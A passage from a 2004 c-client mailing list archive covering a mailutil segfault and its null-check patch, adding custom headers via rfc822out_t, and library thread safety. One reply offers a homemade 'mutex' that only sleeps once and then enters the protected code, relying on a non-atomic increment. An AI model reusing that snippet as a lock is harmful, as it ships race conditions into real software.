data=0xbffeb8c0, flags=0xbffeb3b0, date=0xbffeb3ac, message=0xbffea710) at mailutil.c:488 488 if ((MAILTMPLEN - ((t += strlen (t)) - tmp)) > (long) (gdb) print ap->stream->user_flags[0] $1 = 0x0 (gdb) set args move folders/MiscSaved MiscSaved (gdb) run Starting program: /usr/local/src/RPM/BUILD/imap-2004a/mailutil/mailutil move folders/MiscSaved MiscSaved Program received signal SIGSEGV, Segmentation fault. 0x402594f1 in strlen () from /lib/i686/libc.so.6 (gdb) up #1 0x0804d680 in mm_append (stream=0x81303d0, data=0xbffeb1c0, flags=0xbffeacb0, date=0xbffeacac, message=0xbffea010) at mailutil.c:488 488 if ((MAILTMPLEN - ((t += strlen (t)) - tmp)) > (long) (gdb) print ap->stream->user_flags[0] $1 = 0x0 Thanks Mark! Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 From pinedev@shivax2.cac.washington.edu Tue Aug 31 15:11:16 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 15:11:16 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMBG19012099 for ; Tue, 31 Aug 2004 15:11:16 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMBFVE026739 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 15:11:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VM9mxb015940; Tue, 31 Aug 2004 15:09:48 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM8rK0078398 for ; Tue, 31 Aug 2004 15:08:53 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM8raK010845 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 15:08:53 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM8qxc019151; Tue, 31 Aug 2004 15:08:52 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VM8qH6022801; Tue, 31 Aug 2004 15:08:52 -0700 Message-Id: Date: Tue, 31 Aug 2004 15:08:52 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tim Mooney Cc: c-client@u.washington.edu Subject: Re: two mailutil segfaults with 2002e or 2004a In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=XIIIIIIII, Probability=18%, Report='OBFU_CLASS_OTHER_LOW 2, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __HAS_MSGID 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 31 Aug 2004, Tim Mooney wrote: >> My guess is that it is a null pointer, and that somehow a keyword flag got >> set in the message without any keywords being defined. > That is in fact the case, for both folders: OK. The following patch should remedy the problem: *** mailutil.c~ Sun Jul 11 12:19:24 2004 --- mailutil.c Tue Aug 31 15:06:52 2004 *************** *** 485,493 **** if (elt->answered) strcat (t," \\Answered"); if (elt->draft) strcat (t," \\Draft"); if (u = elt->user_flags) do /* any user flags? */ ! if ((MAILTMPLEN - ((t += strlen (t)) - tmp)) > (long) ! (2 + strlen ! (t1 = ap->stream->user_flags[find_rightmost_bit (&u)]))) { *t++ = ' '; /* space delimiter */ strcpy (t,t1); /* copy the user flag */ } --- 485,492 ---- if (elt->answered) strcat (t," \\Answered"); if (elt->draft) strcat (t," \\Draft"); if (u = elt->user_flags) do /* any user flags? */ ! if ((t1 = ap->stream->user_flags[find_rightmost_bit (&u)]) && ! (MAILTMPLEN - ((t += strlen (t)) - tmp)) > (long) (2 + strlen (t1))){ *t++ = ' '; /* space delimiter */ strcpy (t,t1); /* copy the user flag */ } From pinedev@shivax2.cac.washington.edu Tue Aug 31 15:54:19 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 15:54:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMsIiX013953 for ; Tue, 31 Aug 2004 15:54:18 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMsHDf022948 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 15:54:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VMr6Pv017240; Tue, 31 Aug 2004 15:53:06 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMq7ol092250 for ; Tue, 31 Aug 2004 15:52:07 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMq7S8024830 for ; Tue, 31 Aug 2004 15:52:07 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id E04123E80D0; Tue, 31 Aug 2004 17:52:06 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 02618-06; Tue, 31 Aug 2004 17:52:06 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 6F5393E80E2; Tue, 31 Aug 2004 17:52:06 -0500 (CDT) Received: from [192.168.1.5] (adsl-68-94-7-8.dsl.rcsntx.swbell.net [68.94.7.8]) by mail.bynari.net (Postfix) with ESMTP id 5250A3E80D0; Tue, 31 Aug 2004 17:52:06 -0500 (CDT) Message-Id: <41350124.10803@bynari.net> Date: Tue, 31 Aug 2004 17:52:20 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: Mark Crispin Cc: c-client@u.washington.edu Subject: Setting X-Flag in the header In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How would I go about setting a X-Flag in the header? The setextendedheaders() apparently been nixed. Thanks, Shawn From pinedev@shivax2.cac.washington.edu Tue Aug 31 15:56:40 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 15:56:40 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMueKU014038 for ; Tue, 31 Aug 2004 15:56:40 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMudXN028549 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 15:56:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VMtJoG016944; Tue, 31 Aug 2004 15:55:20 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMsi0S103876 for ; Tue, 31 Aug 2004 15:54:44 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMsipg032603 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 15:54:44 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMshuI029914; Tue, 31 Aug 2004 15:54:43 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMshUm002521 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 31 Aug 2004 15:54:43 -0700 Message-Id: Date: Tue, 31 Aug 2004 15:54:43 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: Setting X-Flag in the header In-Reply-To: <41350124.10803@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 31 Aug 2004, Shawn Walker wrote: > How would I go about setting a X-Flag in the header? > The setextendedheaders() apparently been nixed. I've never heard of "setextendedheaders()". What do you mean by "setting a X-Flag"? Do you mean adding a header line in an outgoing (to SMTP or NNTP) message that you are composing? Or, do you mean adding an "X-Flag" header line to a message in the mailbox? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Aug 31 16:06:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 16:06:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VN6prV014433 for ; Tue, 31 Aug 2004 16:06:51 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VN6ojZ028992 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 16:06:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VN4tMa008344; Tue, 31 Aug 2004 16:04:55 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VN3qt1029466 for ; Tue, 31 Aug 2004 16:03:52 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VN3p4I024344 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 16:03:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VN3pPr031887; Tue, 31 Aug 2004 16:03:51 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VN3oW2003821 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 31 Aug 2004 16:03:50 -0700 Message-Id: Date: Tue, 31 Aug 2004 16:03:51 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: Setting X-Flag in the header In-Reply-To: <4135020B.4050201@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You can't add a header to a message in the mailbox. The only thing you can do is fetch the message, make the alteration to the string, and append it back as a new copy of the message (with a new UID). To write an "X-Flag" header in an outgoing message, write your own rfc822out_t function, and set it with the mail_parameters() SET_RFC822OUTPUT operation. smtp_mail() and nntp_mail() will both use it when rfc822_output() is called. Look at rfc822_output() for the default action. Basically, you need to duplicate the action from the line below the comment "encode body as necessary". The important thing is that instead of calling rfc822_header, you call your own function that duplicates the action of rfc822_header() but also does your own header operations. While you're at it, you probably want don't want to write to a fixed buffer the way rfc822_header() does but instead do something that won't risk a buffer overflow. On Tue, 31 Aug 2004, Shawn Walker wrote: > Well, both actually. I must have been confused of setextendedheaders() from > something else then. > > Thanks, > Shawn > > Mark Crispin wrote: > >> On Tue, 31 Aug 2004, Shawn Walker wrote: >> >>> How would I go about setting a X-Flag in the header? >>> The setextendedheaders() apparently been nixed. >> >> >> I've never heard of "setextendedheaders()". >> >> What do you mean by "setting a X-Flag"? >> >> Do you mean adding a header line in an outgoing (to SMTP or NNTP) message >> that you are composing? >> >> Or, do you mean adding an "X-Flag" header line to a message in the mailbox? >> >> -- Mark -- >> >> http://staff.washington.edu/mrc >> Science does not emerge from voting, party politics, or public debate. >> Si vis pacem, para bellum. > -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Aug 31 16:14:26 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 31 Aug 2004 16:14:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VNEQMR014665 for ; Tue, 31 Aug 2004 16:14:26 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VNEPSS029273 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 31 Aug 2004 16:14:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i7VMuSC6009178; Tue, 31 Aug 2004 15:56:28 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMu02U093562 for ; Tue, 31 Aug 2004 15:56:00 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7VMtxQS022968 for ; Tue, 31 Aug 2004 15:55:59 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 01AB93E80D0; Tue, 31 Aug 2004 17:55:59 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03023-04; Tue, 31 Aug 2004 17:55:58 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 4B7833E80E2; Tue, 31 Aug 2004 17:55:58 -0500 (CDT) Received: from [192.168.1.5] (adsl-68-94-7-8.dsl.rcsntx.swbell.net [68.94.7.8]) by mail.bynari.net (Postfix) with ESMTP id E0FEB3E80D0; Tue, 31 Aug 2004 17:55:57 -0500 (CDT) Message-Id: <4135020B.4050201@bynari.net> Date: Tue, 31 Aug 2004 17:56:11 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: Setting X-Flag in the header In-Reply-To: References: <41350124.10803@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Well, both actually. I must have been confused of setextendedheaders() from something else then. Thanks, Shawn Mark Crispin wrote: > On Tue, 31 Aug 2004, Shawn Walker wrote: > >> How would I go about setting a X-Flag in the header? >> The setextendedheaders() apparently been nixed. > > > I've never heard of "setextendedheaders()". > > What do you mean by "setting a X-Flag"? > > Do you mean adding a header line in an outgoing (to SMTP or NNTP) > message that you are composing? > > Or, do you mean adding an "X-Flag" header line to a message in the mailbox? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 1 11:37:06 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Sep 2004 11:37:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81Ib6JT025847 for ; Wed, 1 Sep 2004 11:37:06 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81Ib5t9027265 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Sep 2004 11:37:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i81IZXJu015480; Wed, 1 Sep 2004 11:35:34 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81IXgtD073392 for ; Wed, 1 Sep 2004 11:33:42 -0700 Received: from mx0.citrus-it.net (buckk.jeamland.org [195.85.230.50]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81IXdMO002001 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 1 Sep 2004 11:33:41 -0700 Received: from jeamland.org (localhost [127.0.0.1]) by mx0.citrus-it.net with ESMTP id i81IXclN000353 for ; Wed, 1 Sep 2004 18:33:38 GMT Received: from localhost (af@localhost) by jeamland.org with ESMTP id i81IXb1p000350 for ; Wed, 1 Sep 2004 18:33:38 GMT Message-Id: Date: Wed, 1 Sep 2004 18:33:37 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andy Fiddaman To: c-client@u.washington.edu Subject: Thread safety.. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Citrus-Virus-Scanned: Clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi List, I am busy working on integrating the c-client library with an application, for the moment just to use the MIME parser but it will be extended to use IMAP. The application is threaded so I was looking to see how thread-safe the library is. In general, it looks as if it will be okay if I'm careful (e.g. don't manipulate driver parameters from a thread), but there are a couple of places where race conditions could occur. For example, there is code at the start of unix_header() which populates a global STRINGLIST if it hasn't been done before. I'm a bit stuck for what to do here as I don't want to modify the library code, and I don't want to stick a big lock around all calls into it, is there any recommended way around this ? If I were to modify the code, I'd move the 'once only code' out of the unix_header() function into one called build_unix_hlines() or something then I could just call this from my application before going threaded. Any thoughts appreciated, Thanks, Andy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 1 12:14:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Sep 2004 12:14:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81JEtu1027525 for ; Wed, 1 Sep 2004 12:14:55 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81JEsSJ029659 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Sep 2004 12:14:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i81JClPW013146; Wed, 1 Sep 2004 12:12:48 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81JBnvG060246 for ; Wed, 1 Sep 2004 12:11:49 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81JBmHh028474 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Sep 2004 12:11:48 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81JBlgU013044; Wed, 1 Sep 2004 12:11:48 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81JBlYc006714; Wed, 1 Sep 2004 12:11:47 -0700 Message-Id: Date: Wed, 1 Sep 2004 12:11:47 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andy Fiddaman Cc: c-client@u.washington.edu Subject: Re: Thread safety.. In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 1 Sep 2004, Andy Fiddaman wrote: > The application is threaded so I was looking to see how thread-safe the > library is. The real issue is your C library. A common problem is that many C libraries do not have a thread-safe strtok (meaning that it keeps the state per-thread), select(), or host name routines. Many C library implementors weasel their way out of it by making you use other calls such as strtok_r(). > In general, it looks as if it will be okay if I'm careful > (e.g. don't manipulate driver parameters from a thread), It has been said that "threads are the crack cocaine of programming"; they are powerful, poorly-understood by many of their users, and have a substantial mythology. There is *nothing* wrong with altering a global in threaded code as long as you accept that that alteration affects every thread. This is a very useful attribute (beloved of those of us who wrote multi-forked code with shareable writable pages on TOPS-20). It is something that must be thoroughly understood; but it is not something to fear. In general, when you change a driver parameter, the desired effect is to change the global behavior of the driver. What this means in general is that if you want to change a driver parameter, you go ahead and do it. Usually, you'll be doing this at startup or under control of the user interface, instead of deep within some thread. > but there are a couple of places where race conditions could occur. For > example, there is code at the start of unix_header() which populates a > global STRINGLIST if it hasn't been done before. This is an excellent example. That global STRINGLIST is global for a reason. It should be a global constant, but it's complex enough to need code to build it. The only concern is whether another thread can run and join that code while the STRINGLIST is being built. For this, you need to understand how your thread library works. If thread switching only happens on I/O, you are safe since the only thing that code does is assignment and malloc(). If the threads really are separate kernel processes running in the same address space (as in Linux), then a simple mutex will do the trick. Here's one that will build even on systems which don't have threading: static long lock = -1; . . . if (++lock) sleep (1); . . . protected code . . . lock = -1; It'll take over 100 years for the lock to overflow with that sleep() there, so it's alright to keep testing it. On the other hand, this may not work if prefix increment is non-atomic; the C specification implies that it is, but it makes no definite statement. I'm not adverse to adding this sort of a mutex to this and the other places that initialize globals that are intended to be constants once set. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 1 14:29:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Sep 2004 14:29:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81LTARY000596 for ; Wed, 1 Sep 2004 14:29:10 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81LT9cO005592 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Sep 2004 14:29:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i81LRwfA016152; Wed, 1 Sep 2004 14:28:00 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81LQnYM033584 for ; Wed, 1 Sep 2004 14:26:50 -0700 Received: from mx0.citrus-it.net (buckk.jeamland.org [195.85.230.50]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i81LQkTV016892 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 